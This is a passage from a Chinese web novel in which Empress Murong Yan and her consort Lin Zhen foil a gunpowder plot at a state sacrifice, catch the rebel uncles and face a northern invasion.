钦天监正使匆匆入宫时,慕容嫣正在翻阅历代祭天记录。她已换上一袭朱红常服,袍上绣着暗金凤纹,少了几分威仪,多了几分凝重。 “正使请看这个。”她推过一本古籍,指尖点在一处记载,“弘昌三年祭天,台塌之祸。” 正使面色微变:“陛下,此乃钦天监秘档,您从何...” “朕自有途径。”慕容嫣凤眸微抬,“朕只问你,当年祭台坍塌,真是意外?” 正使冷汗涔涔:“据记载,确是因连雨地基松动...” “是吗?”慕容嫣轻抚袍上凤纹,“可朕听闻,当年负责祭台工程的,正是雍王府匠作监。” 正使扑通跪地:“陛下明鉴,此事已过二十余年...” “起来吧。”慕容嫣淡淡道,“朕并非要追究往事。只是祭天大典在即,朕要你重新测算吉时,改在辰正三刻。” 正使大惊:“陛下!典礼吉时乃三月前既定,关乎国运...” “正是关乎国运,才要更易。”慕容嫣语气不容置疑,“去吧。” 正使退下后,林臻从屏风后转出:“嫣儿怀疑他们要在祭台动手脚?” 慕容嫣指尖划过古籍上的记载:“弘昌三年,祭台坍塌,压死工匠三十余人。当时监工的雍王府匠作监,正是如今雍王府总管慕容德的父亲。”她忽然抬头,“夫君可还记得昨日佛堂后的声响?” 林臻神色一凛:“已命陆炳去查了。” 话音未落,陆炳求见。他风尘仆仆,显然一夜未眠:“陛下,臣夜探雍王府,发现佛堂密室实为兵器库。更可疑的是...”他压低声音,“臣在府后院发现新建的冰窖,远超日常用度。” 慕容嫣与林臻对视一眼:“果然用了冷藏车运冰。” “还有一事。”陆炳呈上一枚箭簇,“这是在雍王府后巷发现的,似是匆忙中掉落。” 林臻接过箭簇,面色顿变:“这是北疆部落特有的狼牙箭,京城绝不该有。” 慕容嫣猛地起身,拖尾扫翻案上茶盏:“好个雍皇叔!竟敢私通外敌!” 当夜,慕容嫣密召心腹大臣。紫宸殿烛火通明,她换上一袭深青凤纹常服,如暗夜中蛰伏的凤凰。 “诸卿皆知祭天大典关乎国运。”她目光扫过众臣,“今有迹象表明,有人欲破坏大典。” 兵部尚书率先出声:“臣请增派禁军护卫祭坛!” “不可。”林臻摇头,“打草惊蛇,反误大事。” 慕容嫣指尖轻叩凤椅扶手:“朕已有安排。陆炳,你带锦衣卫便衣埋伏祭坛四周。工部即刻以查验为名,暗中加固祭台关键处。礼部照常筹备,勿露痕迹。” 众臣领命而去后,慕容嫣独留林臻。她从暗格中取出一枚金凤令牌:“夫君,这是调动京畿新军的虎符。若祭坛有变,你可持此符调兵。” 林臻接过令牌,只觉沉重异常:“嫣儿早已准备?” 慕容嫣望向窗外月色:“朕登基那日,先帝曾言:凤栖梧桐,非为避风,而为迎风展翅。”她转身时,深青袍上的暗凤纹路在烛光下若隐若现,“这江山,朕不会让给任何人。” 与此同时,雍王府内正在密谋。慕容弘摊开祭坛图纸:“吉时已改为辰正三刻,我们的人要提前埋伏在此处。” 慕容璋却面露忧色:“二哥不觉得太过顺利?陛下突然更改吉时,莫非有诈?” “便是有诈又如何?”慕容弘冷笑,“我们在祭台下的布置万无一失。届时轰隆一声...”他忽然压低声音,“北疆部落已答应,见信号即南下。” “那些草原蛮子...”慕容璋蹙眉,“只怕请神容易送神难。” 慕容弘把玩着手中的玉貔貅:“待大事已成,自有办法对付他们。如今首要的是...”他做了个抹颈的手势。 窗外忽起风声,吹得烛火摇曳。慕容弘猛地起身:“谁?” 管家推门而入:“殿下,是风。方才收到密信,陛下今日召见了钦天监正使和兵部尚书。” 慕容弘面色一沉:“看来,她果然起了疑心。” “那计划...”慕容璋迟疑道。 “照常进行!”慕容弘斩钉截铁,“如今已是箭在弦上。吩咐下去,所有死士袖藏黑凤标志,以便相认。” 夜深人静时,慕容嫣独自步入太庙。百盏长明灯映照着历代帝王画像,她在太祖女帝画像前驻足。画中人身着战甲,袍角绣着浴火凤凰。 “太祖当年以女子之身开创大乾,历经多少艰难。”她轻声道,“朕绝不会让江山断送在朕手中。” 庙外忽然传来脚步声,林臻捧着披风走来:“夜深露重,嫣儿当心身子。” 慕容由他为自己披上披风,忽然道:“夫君可知朕最怕什么?” 林臻摇头。 “朕最怕的,不是皇叔谋反,而是...”她望向太庙深处,“而是这工业革命带来的变革,最终会反噬大乾。如今民间已有怨言,说机器抢了生计,铁路破了风水。” 林臻握住她的手:“变革总会阵痛。但长远来看,工业革命会让大乾更加强大。我们要做的,是做好引导和安抚。” 慕容嫣靠在他肩头:“祭天大典后,朕要颁布《新政安抚诏》,你说可好?” “正当其时。”林臻轻抚她的发,“现在,先回去歇息吧。” 他们相携走出太庙时,月光洒在慕容嫣的深青凤袍上,那只暗凤仿佛在夜色中苏醒,展翅欲飞。 而此刻的雍王府密室中,慕容弘正对死士做最后吩咐:“祭台第三阶下有暗格,内藏火药。辰正二刻点燃引线,正好在陛下登台时引爆。” 死士领命而去后,慕容璋从暗处转出:“二哥,我总觉不安。今日见到陛下,她那双凤眸似已看透一切。” 慕容弘冷笑:“便看透了又如何?明日此时,坐在凤椅上的就该换人了!” 他举起酒杯,杯中酒液鲜红如血。窗外忽然掠过一道黑影,如凤翔九天,转瞬消失在夜色中。 第827章 铜制凤符 祭天大典前夜,慕容嫣辗转难眠。她起身披上一件银白暗凤纹寝衣,行至窗前。月色如水,洒在宫苑的梧桐树上,投下斑驳光影。 “陛下。”女官轻声入内,“林大人还在工部未归,遣人送来这个。”呈上的是一枚精巧的铜制凤符,翅羽处可活动,内藏机括。 慕容嫣接过细看,发现凤喙处暗藏银针:“这是...” “林大人说,明日祭服沉重,若遇紧急,可按凤翼三下,自有妙用。” 慕容嫣唇角微扬,将凤符系于腰间。忽闻窗外异响,她眼神一凛,女官立即吹熄烛火。只见一道黑影掠过宫墙,旋即消失在夜色中。 “凤羽卫。”慕容嫣淡淡道,“去查。” 三更时分,林臻才匆匆回宫,肩头沾着夜露。慕容嫣正对灯查看祭坛图纸,见他归来,起身相迎。她已换上一袭黛蓝常服,袍上银凤暗纹在灯下若隐若现。 “夫君辛苦了。”她为他拂去肩头露水,“可有所获?” 林臻从怀中取出一卷图纸:“祭台下的火药布置已查明。”铺开的图纸上,详细标注着引线走向与火药埋藏点,“雍王府匠人借加固之名,在第三阶石台下埋了大量火药。” 慕容嫣凤眸微冷:“果然如此。可能拆除?” “已命心腹工匠暗中处理。”林臻指向图纸几处,“这些引线改为虚设,真正火药移至安全处。届时会有轰响,但无实害。” 慕容嫣稍松口气,却又蹙眉:“皇叔既备后手,必不止这一招。” “正是。”林臻又铺开另一张图,“看这个。”图上画着祭坛四周地形,几处标红,“这些是雍王府死士的埋伏点。更棘手的是...”他指尖落在一处高台,“这里埋伏着弓箭手,配的是北疆狼牙箭。” 慕容嫣沉吟片刻:“陆炳的锦衣卫可能应对?” “已布下天罗地网。”林臻眼中闪过锐光,“但为防万一,我另备了后手。”他从袖中取出一物,状若凤凰翎羽,实则精钢所制,“这是新研制的信号器,按下后三里内可见凤翔烟火。” 慕容嫣接过细看,忽然道:“明日朕要换祭服。” 林臻一怔:“祭服不是早已备好?” “原那套太过沉重,行动不便。”慕容嫣走向内室,“朕命尚衣局赶制了新袍。” 新祭服展现在眼前时,林臻不禁惊叹。依旧是玄黑为底,但金凤绣纹更为灵动,拖尾虽仍有两丈,却分了五层,内衬暗藏玄机。 “拖尾内缝了天蚕丝网,寻常刀剑难破。”慕容嫣轻抚袍袖,“袖袋藏了你给的凤符,还有这个。”她取出一柄软剑,薄如蝉翼,“太祖皇帝当年用过的凤翎剑。” 林臻担忧道:“明日必凶险,不如...” “不如称病不去?”慕容嫣摇头,凤眸如星,“朕若退缩,正合他们心意。明日不仅要赴典,还要堂堂正正地挫败阴谋。” 四更鼓响,慕容嫣忽道:“朕要去个地方。” 她披上墨色斗篷,与林臻秘密出宫。马车行至城南一处宅院,早有黑衣人等候。室内烛光昏暗,桌上摊着京城布防图。 “臣等恭迎陛下。”几人跪拜,皆是军中将领。 慕容嫣褪下斗篷,露出内里绣金凤纹的常服:“明日祭典,京中兵力如何布置?” 一将领禀报:“雍王旧部掌北门禁军,靖王亲信控西门。臣已按陛下旨意,暗中调换心腹将领,但恐仍有疏漏。” 另一将领道:“新军火枪营已秘密入城,埋伏在祭坛外围,只听陛下号令。” 慕容嫣指尖划过布防图:“明日辰时,以凤翔烟火为号。若见信号,立即控制四门,包围祭坛。”她抬眼扫视众将,“切记,不可伤及无辜百姓。” 众将领命而去后,林臻轻声道:“嫣儿何时布置了这些?” 慕容嫣望向窗外渐亮的天色:“从发现皇叔私通北疆那日起。”她转身时,袍上金凤在晨光中展翅,“朕这个女帝,并非只会坐在凤椅上绣花。” 黎明时分,雍王府内也在做最后部署。慕容弘一身戎装,对心腹道:“祭台爆响为号,届时乱起,立即控制女帝。若遇反抗...”他比了个手势,“格杀勿论。” 慕容璋忧心忡忡:“二哥,方才探子来报,说昨夜城南有异动,似有军队调动。” “必是例行换防。”慕容弘不以为意,“今日祭典,加强守卫也是常理。”他取出一个锦盒,“这是北疆特制的毒药,见血封喉。若计划有变,便用这个。” 天色渐明,京城街道开始热闹起来。百姓早早等候路边,欲一睹祭天盛况。小贩兜售着凤凰旗幡和祭典纪念品,孩童举着糖凤凰奔跑嬉戏。 宫中,慕容嫣正梳妆更衣。十二名侍女悉心打理祭服,金线绣制的凤凰在晨光下流光溢彩。九凤冠沉重,但她挺直脊梁,如真正的凤凰准备迎接风雨。 林臻身着朝服入内,见状屏退左右,亲自为她整理冠冕:“一切准备就绪。祭台下的火药已处置,锦衣卫埋伏到位,新军火枪营随时待命。” 慕容嫣对镜端详,忽然道:“夫君可还记得三年前大婚那日?” 林臻微笑:“怎会忘记?你穿着大红婚服,拖尾比这还长,走过白玉阶时,我生怕你绊倒。” “那时诸王不服,皇叔们皆称病不来。”慕容嫣目光悠远,“是夫君握着朕的手,一步步走上大殿。”她转身握住林臻的手,“今日,也要一同走过。” 辰时初刻,钟鼓齐鸣。祭天仪仗自皇宫而出,浩浩荡荡。慕容嫣端坐銮驾之中,玄黑金凤祭服庄重威严,两丈拖尾铺展如云。百姓跪拜欢呼,花瓣如雨洒落。 林臻骑马随行在侧,目光锐利地扫过人群。经过一处茶楼时,他瞥见窗口寒光一闪,立即以手势示意。便衣锦衣卫悄然包围茶楼。 祭坛渐近,慕容嫣深吸一口气,指尖轻触腰间凤符。她知道,这场风雨终于要来了。 雍王府内,慕容弘接到心腹密报:“陛下仪仗已出发,一切按计划进行。” 慕容璋不安地踱步:“二哥,我总觉得心慌。方才听说茶楼的弓箭手失手了。” “无妨。”慕容弘冷笑,“主要杀招在祭台。吩咐下去,辰正二刻准时点火。” 晨光洒在祭坛汉白玉阶上,反射出耀眼白光。慕容嫣步下銮驾,拖尾拂过地面,金凤仿佛活了过来。她抬头望向祭台高处,那里,一场生死较量即将开始。 风起,袍展,凤凰待飞。 第828章 祭天 辰时正刻,祭坛四周已是人山人海,万头攒动。 九重汉白玉阶在朝阳下泛着圣洁的光辉,直通高耸的祭台。 台上青铜鼎中香烟缭绕,檀香的芬芳在晨风中弥漫,金色烟柱直上云霄,与蓝天相映成辉。 文武百官分列两侧,着朝服按品阶而立,紫绯青绿各色官袍如七彩凤羽展翅,在晨光中形成一道绚丽的风景。 忽然钟鼓齐鸣,三十六面大鼓同时擂响,号角长鸣,声震九霄。仪仗队自远处缓缓行来,金凤旗幡猎猎作响,在阳光下闪耀着夺目的光芒。 十六名宫女手持凤尾宫扇开道,宫扇以金丝编就,缀以珍珠,随着宫女的步伐轻轻摆动,如凤凰展翅。 随后是八十一人抬的鎏金銮驾,轿身雕满凤凰祥云纹样,顶盖镶嵌九颗东珠,象征九五之尊。 慕容嫣端坐其中,今日她着一袭玄黑祭服,上用金线盘绣九九八十一只凤凰,每只形态各异,或引颈长鸣,或展翅高飞,或回首顾盼,凤目皆以红宝镶嵌,在阳光下灼灼生辉,仿佛随时会破衣而出,直上九天。 袍袖宽大,绣着云雷纹,边缘以金线锁边,行动时流光溢彩。 两丈余长的拖尾由十二名宫女小心托着,以暗金线密绣云雷纹,其间穿插绣着日月星辰图案,边缘缀着细小铜铃,共三百六十五个,象征一年365天。 行动时发出清脆声响,如凤鸣九霄,悦耳动听。 头戴赤金点翠九龙九凤冠,冠顶东珠大如鸡卵,垂下的珠帘共十二串,每串十二颗珍珠,半掩威仪面容,更添神秘尊贵。 銮驾至祭坛前止步,林臻下马上前,亲手扶慕容嫣步下銮驾。二人对视一眼,皆看到彼此眼中的凝重与决绝。林臻今日穿着藏青朝服,上绣银凤暗纹,腰系玉带,佩长剑,英姿勃发。 吉时已到——礼官长声唱喏,声音在天地间回荡。 慕容嫣整了整袍袖,深吸一口气,缓缓踏上玉阶。 拖尾在阶上铺展,铜铃轻响,每一步都庄重非常。林臻紧随其后,目光锐利地扫视四周,不放过任何可疑迹象。 祭坛东南角,几个工匠打扮的人低头忙碌着,袖口隐约露出黑凤刺青。西北高台上,几个百姓正调试着手中弓弩,箭镞在阳光下闪着寒光。 慕容嫣恍若未见,继续拾级而上,凤袍上的金凤随着她的步伐仿佛在游动。 至第三阶时,她脚步微顿。按照原计划,此处埋有火药。 她余光瞥见林臻微微颔首,心知已处置妥当,方继续上行。她的心跳微微加速,但面容依旧平静如水,展现出一国之君的沉稳气度。 终于登至坛顶,礼官奉上祭文。 慕容嫣展开卷轴,朗声诵读。声音清越如凤鸣,回荡在天地之间,字字清晰,句句铿锵。台下百姓屏息静听,被这庄严神圣的氛围所感染。 正当诵读至“佑我大乾,国泰民安时”,异变陡生! 东南角突然传来轰隆巨响,烟尘弥漫! 几乎同时,西北高台箭如雨下! 破空之声尖锐刺耳,数十支利箭直射祭坛! 护驾!林臻高喝,瞬间挡在慕容嫣身前,长剑出鞘,舞出一片剑光。 但见慕容嫣临危不乱,玄黑凤袍一展,拖尾突然扬起——内衬天蚕丝网瞬间展开,竟将飞矢尽数挡下! 她袖中滑出凤翎软剑,剑光如凤羽纷飞,将逼近的箭矢一一击落。 “凤羽卫何在!”她清叱一声,声音如凤啸九天。 霎时间,原本跪拜的百姓中突然跃出数十身影,皆着金凤暗纹劲装,直扑那些弓箭手。 茶楼、酒肆中也冲出锦衣卫,与黑凤死士战作一团。 刀剑相交之声不绝于耳,原本庄严肃穆的祭典现场顿时陷入混战。 慕容嫣与林臻背靠背而立,祭坛上顿时刀光剑影。 她玄黑凤袍在风中猎猎作响,金凤绣纹仿佛活了过来,随她每一个转身腾挪而展翅欲飞。 林臻剑法凌厉,每一剑都直取要害,护在慕容嫣周身。 “陛下好算计!”忽然一声冷笑,慕容弘自烟尘中现身,手持长刀,可惜今日,必叫你血祭于此!他身着戎装,面目狰狞,与平日温文尔雅的形象判若两人。 慕容嫣凤眸冷冽:“雍皇叔终于不装病了?朕还以为你要一直称病不出呢。” 慕容弘也不多言,挥刀攻来。 刀法凌厉狠辣,招招致命。林臻正要迎上,却被突然出现的慕容璋拦住:“林大人,你的对手是本王。慕容璋手持长剑,剑法精妙,显然深藏不露。” 坛上顿时分成两处战团。 慕容嫣祭服沉重,应对慕容弘凌厉攻势渐显吃力。 忽然她腰间凤符亮起,三支银针疾射而出! 银针细如牛毛,在阳光下几乎看不见踪影。 慕容弘急忙闪避,银针擦颊而过,留下血痕。 他勃然大怒:“好个狡猾丫头!竟用这等暗器!” 就在这时,台下忽然传来整齐脚步声! 但见一队火枪兵列队而来,枪口齐指祭坛! 士兵们身着新式军装,步伐整齐划一,气势惊人。 “新军火枪营救驾来迟!”将领高呼,声音洪亮有力。 慕容弘面色大变:“不可能!北门禁军应该拦着你们...” “皇叔说的是这些禁军吗?”慕容嫣冷笑挥手。 但见几个被缚的禁军将领被推上前来,正是慕容弘的心腹。 他们垂头丧气,狼狈不堪。 慕容弘顿时面如死灰,眼中闪过绝望之色。 突然,他眼中闪过疯狂之色,自怀中取出一个锦盒:“既然如此,同归于尽罢!” 盒中竟是北疆剧毒! 他猛地洒向慕容嫣! 毒粉呈绿色,在阳光下闪着诡异的光芒,带着刺鼻的气味。 千钧一发之际,林臻突然挣脱慕容璋,扑向慕容嫣! 毒粉尽数洒在他背上,顿时冒出青烟! 他的衣服瞬间被腐蚀,皮肤泛起可怕的水泡。 “夫君!”慕容嫣失声惊呼,声音中带着前所未有的惊慌。 慕容弘趁机一刀劈来! 慕容嫣急忙闪避,刀锋划过袍袖,金线崩断,凤羽纷飞。 她凤眸骤冷,手中软剑突然变招,如凤凰展翅,直取慕容弘咽喉!这一剑快如闪电,慕容弘不及躲避,剑尖已抵喉间。 “拿下!”慕容嫣厉声道,声音冰冷如霜。 凤羽卫一拥而上,将慕容弘制服。 慕容璋见大势已去,长叹一声,弃剑投降。 他面色灰败,仿佛瞬间老了十岁。 慕容嫣急忙扶住林臻:“夫君!你怎样?” 她的声音颤抖,眼中满是担忧。 林臻面色发青,却强笑道:“无妨...早有准备...” 他从怀中取出一个瓷瓶, 解毒剂... 说着服下药丸,又撕开后背衣服,露出内衫中的铅板。 原来他早料到此招,事先服下解毒丹,又在内衫中缝了铅板抵挡。虽仍中毒,却不至致命。但见他后背铅板已被腐蚀,可见毒性之烈。 慕容嫣这才稍安,命人急传太医。 她小心地扶林臻坐下,亲自为他检查伤势,完全不顾自己凤袍破损,发髻凌乱。 她转身面向坛下,玄黑凤袍虽破损,却依旧威仪万千。拖尾铺展,如凤凰浴火,重生展翅。她的目光扫过台下惊魂未定的百官和百姓,声音清晰而坚定: “逆贼已擒,祭典继续!” 她声音传遍四野,“朕在此立誓:任何敢祸乱大乾者,犹如此袍!” 她扯下破损袍袖,抛入祭坛圣火中。 火焰腾起,金线凤凰在火中熠熠生辉,仿佛真的在火中涅槃重生。 这一刻,她站在祭坛之上,虽袍袖破损,发髻微乱,却比任何时候都更像一国之君。 百姓跪拜高呼万岁,声震九霄。 慕容嫣扶着重伤的林臻,一步步走下祭坛。 阳光照在她身上,玄黑凤袍上的金凤仿佛浴火重生,展翅欲飞。她的每一步都坚定而沉稳,仿佛在向世人宣告:无论经历怎样的风雨,大乾的凤凰永远不会坠落。 回到宫中,慕容嫣即刻下令彻查同党。 她换上一袭朱红常服,袍上绣着暗金凤纹,如涅槃重生。 她坐在凤椅上,面色冷峻,一道道指令发出,整个皇宫顿时忙碌起来。 两位皇叔押入天牢,严加看管。 她吩咐陆炳,凡参与谋逆者,一律按律处置。 但切记,不可滥杀无辜,每一个案犯都要仔细审讯,揪出幕后同党。 夜深时分,她独坐榻前,守着昏迷的林臻。 太医说毒虽解,但仍需观察。 她轻抚他苍白的脸,眼中满是心疼。 烛光下,她朱红常服上的暗金凤凰仿佛在守护着重要的人。 “傻瓜...”她低声呢喃,“若你有事,朕要让整个雍王府陪葬。” 她的声音很轻,却带着不容置疑的决绝。 窗外月光如水,照在她朱红袍上,那只暗金凤凰仿佛活了过来,在月光下展翅欲飞。 而此刻的天牢深处,慕容弘却突然大笑:“好侄女,你以为这就结束了吗?祭台下的火药...可是双线布置啊!” 他的笑声在牢房中回荡,带着说不尽的疯狂与诡异。 狱卒闻声而来,见他状若癫狂,不禁摇头离去。 宫中的慕容嫣忽然心口一悸,仿佛听到远处传来一声凤鸣。 她走到窗前,只见夜空中有流星划过,如凤泪坠落。 她微微蹙眉,心中升起一丝不安。 风暴,似乎才刚刚开始。 第829章 皇叔死了? 祭天大典的硝烟尚未散尽,皇宫内已是一片肃杀。 慕容嫣端坐凤椅之上,已换上一袭墨黑凤纹常服,以玄色云锦为底,用暗金线绣着闭目养神的凤凰,每一片羽翼都细致入微。 拖尾仅余一丈,以银线锁边,边缘缀着细小的黑曜石珠,行动时如暗夜流星,更显利落威严。她指尖轻叩扶手,听着陆炳禀报逆党清查进展。 “共擒获叛党一百三十七人,其中雍王府死士四十九人,靖王府门客二十八人,余者多为北疆细作。”陆炳呈上名录,“然据审讯,仍有数名核心人物在逃,其中包括...” “说。”慕容嫣凤眸微抬,烛光下墨黑凤袍上的暗金纹路若隐若现。 “雍王府首席匠作慕容德。”陆炳沉声道,“此人在祭典前夜失踪,据查带走了大量火药配方与图纸,还有三辆最新式冷藏车的调度令牌。” 慕容嫣眸光一凛,袖中手指微微收紧:“可是负责祭台工程的慕容德?那个在先帝时期就掌管皇室工坊的慕容德?” “正是。”陆炳补充道,额角渗出细汗,”另有一事蹊跷:“臣查验祭台下火药时,发现另有暗线通往第七阶,埋药量是第三阶的三倍有余。若非陛下临时更改吉时,恐怕...” 林臻此时缓步而入,面色仍显苍白,却已能自行行走。他接口道,声音带着一丝虚弱:“恐怕真正的杀招在第七阶。臣亲自查验过那些火药,分量足以炸平整个祭坛,而且掺杂了北疆特有的燃石粉,爆炸时会产生毒烟。” 慕容嫣猛地起身,墨黑袍袖翻飞如凤翼,拖尾扫过地面发出簌簌声响:“好个双线布置!传令下去,全城搜捕慕容德,活要见人死要见尸!另着工部彻查所有冷藏车去向,特别是那三辆丢失的!” 正当此时,女官匆匆入内,面色惊慌:“陛下,天牢急报!雍王突发恶疾,口吐黑血!太医说...说怕是撑不过今夜了!” 慕容嫣面色一沉,墨黑凤袍在烛光下泛着幽冷的光芒:“摆驾天牢!” 太医署内灯火通明,药气弥漫。 慕慕容弘躺在榻上,面色青黑,唇角不断溢出黑血,将衣襟染成暗红色。慕容嫣立于榻前,玄黑凤袍在摇曳的烛光下更显凝重。 “如何?”她问跪在地上的太医,声音冷冽。 太医战战兢兢回禀:“雍王所中之毒甚为蹊跷,似是多毒并发。有北疆狼毒花的症状,又夹杂着南海见血封喉的痕迹,更奇怪的是...”他迟疑片刻,“还有几分像是皇室秘藏的凤凰泪。” 慕容嫣俯身凝视慕容弘,墨黑凤袍的拖尾铺展在冰冷的地面上:“皇叔还有何遗言?” 慕容弘突然睁眼,眼中闪过诡异光芒,枯瘦的手猛地抓住慕容嫣袍袖:“好侄女...你以为...赢了么?” 他声音嘶哑,如破风箱般喘息,“凤栖梧桐...终有折枝时...慕容德他...他带走的不仅是火药...” 话音未落,他已气绝身亡,手指仍紧攥袍袖金凤。 慕容嫣缓缓抽回衣袖,但见凤目处的红宝石竟已碎裂,露出里面暗藏的机括——那原本是她藏银针的暗器。 “查。”她面沉如水,墨黑凤袍上的暗金凤凰仿佛也笼罩在阴影中,“彻查今日所有接触过雍王之人!包括太医、狱卒、送饭的杂役,一个不许漏!” 是夜,慕容嫣难以入眠,独自在御花园徘徊。 月色如水,照在她墨黑寝衣上,银线绣制的暗凤纹路在月光下若隐若现。 她踱步至太液池边,望着水中倒影,忽然瞥见远处假山后有黑影一闪。 “何人!”她厉声喝道,袖中软剑已滑至掌心。 黑影迅速消失,但地上落下一物。 慕容嫣警惕地拾起一看,竟是半块黑凤令牌——与那日祭坛死士所佩一模一样,触手冰凉,显然是以北疆玄铁所铸。 林臻闻声赶来,见她手持令牌,面色顿变:“这令牌材质特殊,是北疆玄铁所铸。”他仔细查验,就着月光细看断口,“看这痕迹,似是故意折断留下的。” 慕容嫣眸光骤冷,墨黑寝衣在夜风中轻扬:“这是在向朕示威呢。” 她忽然想起什么,“靖王那边如何?可还是不肯开口?” “靖王始终一言不发,整日闭目诵经。”林臻摇头,眉头紧锁,“但臣发现一蹊跷事:靖王府这几日竟在大量抄写佛经,说是要为雍王超度。可是...” “可是什么?” “可是据眼线回报,抄经用的纸张都是从江南特调的澄心堂纸,这种纸价格昂贵,平日只有皇室重要文书才会使用。” 慕容嫣眸中闪过厉色:“带朕去看看。” 靖王府佛堂内,香烟缭绕,梵音低唱。慕容璋闭目诵经,对来人恍若未闻。案上堆满抄写的经卷,字迹工整非常,墨香与檀香交织。 慕容嫣扫视佛堂,目光如炬。她忽然定格在经卷纸张上——那纸质地特殊,在烛光下隐隐透出暗纹。 她示意林臻细看,林臻拿起一页对着烛光,顿时变色:这纸与他发明的电报密码纸极为相似,都是双层夹缝中可藏暗文的设计! “皇叔好雅兴。”慕容嫣淡淡开口,墨黑凤袍在佛堂烛光下更显威严,“不知抄写的是何经文?这般用心。” 慕容璋终于睁眼,目光平静无波:“《地藏经》,为亡者超度。雍王虽犯大错,终究是皇室血脉,不该堕入无间地狱。” 慕容嫣拈起一页经卷,对着长明灯细看。 灯光穿透纸张,隐约可见暗纹组成凤凰图案——正是皇室密文! 她心中一震,面上却不露声色。 “看来皇叔真是慈悲为怀。”她冷笑一声,墨黑拖尾扫过经卷,“来人,将这些经卷全部带回宫中,朕要好好研读,以示对皇叔的尊重。” 回到宫中,慕容嫣立即召来密码专家。经卷在特制的灯箱下展开,暗纹逐渐显形:竟是北疆部落的兵力部署图,标注着各部落兵力、粮草储备,甚至还有进攻路线! “好个靖王!”慕容嫣拍案而起,墨黑凤袍因激动而微微颤动,“表面诵经超度,实则在通敌卖国!立即传令边防,按图加强戒备!” 然而当夜,看守靖王的侍卫全部中毒身亡,症状与雍王如出一辙。 慕容璋竟在严密看守下消失得无影无踪! 只在牢房墙壁上,用血画着一个狰狞的黑凤图腾。 “陛下!”陆炳仓皇来报,衣冠不整显然是从睡梦中惊醒,“靖王牢房中发现密道,直通城外!密道壁上刻着...刻满黑凤图腾!” 慕容嫣勃然大怒,墨黑凤袍无风自动:“好!好个皇叔!竟在朕眼皮底下挖出这等密道!” 她忽然冷静下来,指尖轻抚袍上暗金凤纹,“密道通往何处?” “通往...雍王在城西的别院。” 当众人赶到雍王别院时,只见院中梧桐树下摆着一盘残局。 棋盘是上好的紫檀木所制,棋子以白玉和墨玉琢成。 棋盘旁放着两盏茶,尚有余温。慕容嫣拈起一枚黑子,发现棋子底部刻着细小的凤凰图案——与她凤袍上的纹饰一模一样。 林臻查验茶盏后变色:“茶中有毒,与雍王所中之毒相同,都是多种毒物混合。” 慕容嫣凝视棋盘,忽然道:“这是父皇生前最爱的残局,名唤凤栖梧桐。” 她指尖轻点某处,“若黑子落在此处...” 话音未落,远处突然传来连续爆炸声! 众人奔出查看,只见城中三处火光冲天——电报局、工部档案馆、新军火器库同时起火! “声东击西!”林臻猛然醒悟,”他们的目标是破坏我们的通讯和军工!” 当众人赶到电报局时,火势已被控制,但核心机房已毁。 更令人心惊的是,值守士兵全部身亡,每人额间都画着一个黑凤图案,心口插着半截凤凰羽箭——与慕容嫣所用的凤翎箭一模一样。 慕容嫣站在废墟前,墨黑凤袍被火星燎出数个破洞,她却浑然不觉。夜风吹起她散落的发丝,衬得面色愈发苍白。 拖尾扫过焦土,沾上灰烬,如凤凰浴火。 “陛下...”林臻担忧上前,想要为她拂去衣上灰尘。 慕容嫣抬手止住他的话,声音冷如寒冰:“传朕旨意:全城戒严,许进不许出。凡有黑凤纹样者,格杀勿论!另着工部连夜修复机房,三日之内,朕要电报畅通!” 回到宫中,她独自步入太庙,在太祖画像前长跪不起。 画像中的太祖身着战甲,袍角绣着浴火凤凰,与她破损的衣袍相映成趣。 墨黑凤袍铺展在冰冷的地面上,上面的暗金凤凰在长明灯下仿佛在哀鸣。 “太祖...”她轻声低语,指尖抚过袍上破损处,“嫣儿可能...真要浴火一回了。” 庙外忽然传来急促脚步声,女官仓皇来报:“陛下!北方烽火台传来信号:草原三部联军已突破长城,正朝京城而来!领军的是...是靖王!” 慕容嫣猛然起身,太庙长明灯映在她眼中,如凤凰浴火,灼灼燃烧。 墨黑凤袍在灯下泛起暗金流光,那只破损的凤凰仿佛正要振翅高飞。 风暴,已至。 而她这只墨凤,必将迎风展翅。 第830章 北疆起狼烟 北方烽火连天,狼烟如黑龙直窜云霄。 慕容嫣立于城楼之上,墨黑凤袍在朔风中猎猎作响,两丈拖尾如乌云铺展,其上暗金凤凰纹路在阴沉天光下若隐若现,仿佛随时要破空而去。 “报——”探马疾驰而至,跪地时扬起一片尘土,“北疆联军已破居庸关,距京城不足二百里!先锋部队打着靖王旗号,约有五万之众!” 慕容嫣面沉如水,墨黑袖袍中的手微微收紧:“敌军配置如何?” “多是骑兵,配有攻城器械。更可怕的是...”探马声音发颤,“他们竟有火器!虽不及我军精良,但数量惊人!” 林臻闻言变色:“必是慕容德带走的图纸所制!陛下,当务之急是加固城防,急调各地勤王之师!” 慕容嫣转身,墨黑拖尾在城砖上扫过,留下淡淡痕印:“陆炳,传朕旨意:九门戒严,所有壮丁编入城防。工部连夜赶制守城器械,火药库加倍看守。” 她目光投向远方,“林臻,你带人修复电报线路,务必与各地联络畅通。” “臣领旨!”二人齐声应道。 是夜,皇宫灯火通明。 慕容嫣召集紧急朝会,身着墨黑朝服,九只暗金凤凰盘踞袍身,凤目以黑曜石镶嵌,在烛光下幽深如潭。百官肃立,气氛凝重。 “众卿都已知晓北疆之事。”慕容嫣声音清冷,“靖王叛国,引狼入室。朕欲亲征北伐,诸卿以为如何?” 老臣张文渊率先出列:“陛下万金之躯,岂可轻涉险地?不如派大将出征,陛下坐镇中枢。” “北疆联军打着靖王旗号,若朕不亲征,岂非示弱?”慕容嫣凤眸扫过群臣,“况且...”她指尖轻叩凤椅,“朕要亲手擒回那叛国之贼!” 忽然殿外传来喧哗。一名将领满身浴血冲入大殿:“陛下!不好了!西直门守将叛变,放敌军先锋入城!此刻正在巷战!” 慕容嫣猛然起身,墨黑凤袍如夜翼展开:“凤羽卫随朕迎敌!其余人等死守皇城!” 她大步走出殿外,拖尾拂过玉阶。林臻急忙追上:“陛下不可冒险!臣已调新军火枪营前来护驾!” 慕容嫣却已跨上战马,墨黑袍袖一振,手中多出一柄凤翎长剑:“夫君可愿与朕并肩而战?” 京城街巷已成修罗场。北疆骑兵在街道上横冲直撞,守军且战且退。慕容嫣一马当先,墨黑凤袍在战火中如幽灵般飘忽,所过之处敌军纷纷倒地。 “看!是女帝!”有百姓惊呼。 只见慕容嫣长剑如凤羽纷飞,每一剑都精准刺穿敌喉。墨黑拖尾在血火中翻飞,竟不染半点污秽——那天蚕丝不仅防刃,更不沾血污。 突然,一支冷箭直射而来!林臻挥剑格开,却见更多箭矢如雨落下! 